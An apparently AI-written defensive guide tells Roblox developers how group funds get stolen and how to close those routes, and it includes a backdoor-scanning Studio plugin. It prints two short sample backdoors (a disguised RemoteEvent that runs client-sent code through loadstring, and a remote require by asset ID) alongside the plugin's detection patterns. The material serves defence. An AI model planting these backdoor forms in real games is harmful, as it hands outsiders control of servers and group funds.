They stole your group and 5 million Robux: close the 3 doors
Your group changed owner and the Robux balance vanished without anyone discovering your password. The theft comes in through a stolen session, a backdoor in a free model or a role with permission to spend funds — and you can close all three doors in an afternoon.
Produced with AI and checked by automated verification. This text carries no source list. No person read this text before publication. Editorial Policy

You did not lose the group to a hacker from a film. In the overwhelming majority of cases that end this way — the group transferred, the group's balance drained, 5 million Robux gone — the action was carried out by your own account, logged in, exactly as Roblox expected. Either somebody stole your login session, or a script you pasted into your game opened the door, or you yourself gave someone a group role with permission to spend funds.
None of those three things needs your password. And that is why the answer "but I had two-step verification" prevents nothing: two-step verification protects the moment of logging in. If what leaked was the session token — the little file the browser keeps saying "this one has already logged in" — the thief does not log in at all. They paste the ready-made session and they are already inside, as you.
The size of the loss helps take it seriously: at the public DevEx rate, 100,000 Robux equals USD 350, meaning USD 0.0035 per Robux. Five million Robux is USD 17,500 in exchange value. Robux spent from inside the group does not come back: there is no undo button for a purchase made, an item transferred or a payout sent. And the group itself, once transferred, takes the game with it, the sales history, the gamepasses and the audience. When a game really grows, the group's balance stops being loose change and becomes the most valuable thing you have in an account.
The three doors, in order of frequency: 1) a plugin or .rbxm file downloaded from somebody who asked you to "test it"; 2) a backdoor hidden inside a free model from the Toolbox; 3) a group role with the wrong permission ticked. The rest of this text closes all three, in the order that takes the least work.
Close the three doors in the right order
Step 1 — kill the stolen session (2 minutes). Go to roblox.com, top right corner, the gear, Settings, Security tab. Change the password and, just below, use Sign out of all other sessions. That invalidates the old tokens, including the one the thief is using. Changing only the password does not throw out somebody already inside in some scenarios — what throws them out is killing the sessions. On the same screen, switch on two-step verification through an authenticator app, which is better than by email because the email may also have been compromised.
Step 2 — audit the group's roles (5 minutes). Open the group's page, Configure Group, Roles tab. Look at role after role and hunt for three permissions: spending group funds, changing members' roles and managing the group's games. Those three, together, are the key to the house. A programmer needs none of them to write code; nor does a builder. If there is a "Co-Owner" or "Admin" role created months ago for somebody who "was going to help with the setup", untick everything now and ask afterwards. Still under Configure Group, look for the Audit Log: it lists who changed whose role and when. That is where you find the exact date the door was opened.
Step 3 — clean out the Studio plugins (5 minutes). In Studio, the Plugins tab in the top ribbon has a Manage Plugins button, which lists what is installed. Uninstall everything whose author's name you do not recognise. A plugin runs with full permission inside Studio: it reads and writes any script in your game, and it can insert a new Script while you are distracted. On Windows, local plugins live in the %LOCALAPPDATA%\Roblox\Plugins folder — it is worth opening it and checking for files you never installed.
Step 4 — understand what a backdoor is before hunting for one. A backdoor is a server script that accepts orders from outside. The classic form uses a RemoteEvent (the object that lets the player talk to the server) with an innocent name:
local remote = Instance.new("RemoteEvent")
remote.Name = "AntiLag" -- an innocent name on purpose
remote.Parent = game:GetService("ReplicatedStorage")
remote.OnServerEvent:Connect(function(player, code)
loadstring(code)() -- the server runs whatever any client sends
end)That one depends on loadstring, which is off by default (ServerScriptService's LoadStringEnabled property starts as false). So the more common form today is another, and it fits on one line:
require(1234567890).Load() -- downloads and runs code from an asset that is NOT yoursA require with a number instead of a path fetches a ModuleScript published by somebody else on Roblox. Whoever published it can change that module's contents whenever they want, after your game is already live. You tested it, it worked, you published — and three weeks later the module starts inserting a "transfer funds" button in place of a smoke effect.
Step 5 — switch off what the backdoor needs. With the place open, go to File, Game Settings, Security tab. Leave Allow HTTP Requests off if your game does not talk to any external site, and Allow Third Party Sales off if you do not sell another group's items inside your game. That is two clicks that take two whole capabilities out of the hands of whoever pastes strange code in there.
Step 6 — sweep every script. It is the step nobody does by hand, because an average game has 200 to 2,000 scripts between Script, LocalScript and ModuleScript, scattered across Workspace, ReplicatedStorage, StarterGui and inside every model you dragged from the Toolbox. Reading it all line by line takes a weekend. That is what the artifact below is for: it reads in seconds.
The sweeper you install as a local plugin
Code can only be read by a plugin: the Source property, which holds a script's text, is not accessible to an ordinary Script running in the game. So the installation has one extra step than usual.
In Studio, look at the Explorer — the right-hand panel listing everything in your game as a tree. If it is not visible, open it under View, Explorer. Hover over ServerScriptService, click the plus sign and choose Script. Delete the print("Hello world!") that comes inside, paste the whole artifact and rename the script to SpawnPointSweeper (click the name, type, Enter).
Now right-click that script, in the Explorer, and choose Save as Local Plugin. Confirm the file name. Done: it has left your game and become a tool in your Studio. Delete the script from ServerScriptService afterwards — you do not want to publish a plugin along with the game.
Reload Studio. In the Plugins tab the Sweep for backdoors button will appear. Before clicking, open the message window under View, Output — that is where the report comes out. Each alert comes with the script's full path, the pattern found and the reason. An alert is not a verdict: HttpService in a game that uses a webhook is normal. What you do with the list is open each flagged script and answer one question: "did I write this?". If the answer is no, delete the whole model it came from.
The most expensive mistake: "run this script to test it"
The scam that takes the most groups from their owners is not technical, it is social, and it always comes with urgency. Somebody turns up offering advertising, a partnership, a ready-made system or a programmer position. They ask for one of four things: that you download an .rbxm and drag it into Studio, that you install a plugin "only they have", that you paste a snippet of code "to test whether the server accepts it", or that you give them a high group role "for five little minutes to set up the payout". Any of the four ends the same way.
The detail that fools experienced people is that it usually really does work on the first test. The system opens, the UI looks nice, everything is fine. The payload sleeps, or lives in a remote module that only changes contents later. You have already forgotten about it when the account leaves your control.
If you suspect you have already pasted something like that: kill the sessions (Step 1), run the sweeper, and roll the game back to a known earlier version. On your game's page, on the site, the three-dot menu has Configure and a version history — you can restore a build from before the date the thing arrived (you get the date from the group's Audit Log). Then check the group's Revenue tab, looking at payouts and outgoing transactions one by one. If Robux left, record the amount and the date before anything else: it is the only data a support request accepts.
What to measure next week
Three numbers, and all of them have to fit on one line of notes. First: how many people in your group have permission to spend funds. The target is 1, you. Second: how many alerts the sweeper returns in your game. The target is not zero — it is "zero that I cannot explain". Note today how many legitimate alerts exist (your own use of HttpService, for instance) and treat any number above that, on the next sweep, as something having got in.
Third: how much Robux sits idle in the group's balance. An idle balance is the whole target of the scam. If your game earns and you have DevEx active, set a ceiling and convert the surplus regularly, instead of letting six figures accumulate and wait.
Build the habit of running the sweep twice: before publishing and after inserting anything from the Toolbox. It takes 10 seconds. And adopt a rule that costs nothing: a free model goes into an empty test place first, never straight into the game that pays your bills.
Ready-to-use artifact
--!strict
-- SpawnPoint | Backdoor sweeper
-- WHERE IT LIVES: create a Script in ServerScriptService, paste this in, right-click
-- it in the Explorer and choose "Save as Local Plugin". Then DELETE the script from
-- ServerScriptService. Reload Studio and use the Plugins tab.
-- The report comes out in the Output window (View > Output).
local toolbar = plugin:CreateToolbar("SpawnPoint")
local button = toolbar:CreateButton(
"Sweep for backdoors",
"Reads every script in the open place and flags suspicious patterns",
""
)
type Rule = {
name: string,
pattern: string,
note: string,
}
-- The patterns are compared against the source in lowercase.
local RULES: {Rule} = {
{ name = "require with a numeric ID", pattern = "require%s*%(%s*%d", note = "runs code from an asset that is not yours" },
{ name = "getfenv/setfenv", pattern = "[gs]etfenv", note = "the classic way to hide what a script does" },
{ name = "loadstring", pattern = "loadstring", note = "executes received text as if it were code" },
{ name = "HttpService", pattern = "httpservice", note = "can send your game's data outside" },
{ name = "HttpGet / PostAsync", pattern = "http[gp][eo]", note = "a request to an external server" },
{ name = "text hidden in escapes", pattern = "\\%d%d%d\\%d%d%d", note = "a string disguised as numbers" },
{ name = "typical backdoor name", pattern = "vaccine", note = "a common backdoor name in free models" },
}
local TARGETS: {string} = {
"Workspace", "ServerScriptService", "ServerStorage", "ReplicatedStorage",
"ReplicatedFirst", "StarterGui", "StarterPack", "StarterPlayer",
"Lighting", "SoundService", "Teams",
}
local function analyse(item: Instance): number
local ok, source = pcall(function()
return (item :: any).Source
end)
if not ok or typeof(source) ~= "string" then
return 0
end
local text: string = source
local lower = string.lower(text)
local alerts = 0
for _, rule in RULES do
if string.find(lower, rule.pattern) then
alerts += 1
warn(string.format("[SUSPICIOUS] %s -> %s (%s)", item:GetFullName(), rule.name, rule.note))
end
end
-- obfuscated code usually arrives as one gigantic line
for line in string.gmatch(text, "[^\r\n]+") do
if #line > 400 then
alerts += 1
warn(string.format("[SUSPICIOUS] %s -> line with %d characters (possible obfuscation)", item:GetFullName(), #line))
break
end
end
return alerts
end
local function sweep()
local read = 0
local alerts = 0
for _, serviceName in TARGETS do
local service = game:FindFirstChild(serviceName)
if not service then
continue
end
for _, item in service:GetDescendants() do
if item:IsA("LuaSourceContainer") then
read += 1
alerts += analyse(item)
end
end
end
print(string.format("[SpawnPoint] %d scripts read, %d alerts.", read, alerts))
if alerts == 0 then
print("[SpawnPoint] No known pattern found. That is not a guarantee: read every script you did not write.")
end
end
button.Click:Connect(sweep)
| Role | Spend funds | Change roles | Manage games | People | Robux reachable |
| --- | --- | --- | --- | ---: | ---: |
| Owner (you) | Yes | Yes | Yes | 1 | 5,000,000 |
| Programmer | No | No | Yes | 3 | 0 |
| Builder | No | No | No | 4 | 0 |
| Moderator | No | No | No | 6 | 0 |
| Member | No | No | No | 1,240 | 0 |
| **Total** | — | — | — | **1,254** | **5,000,000** |


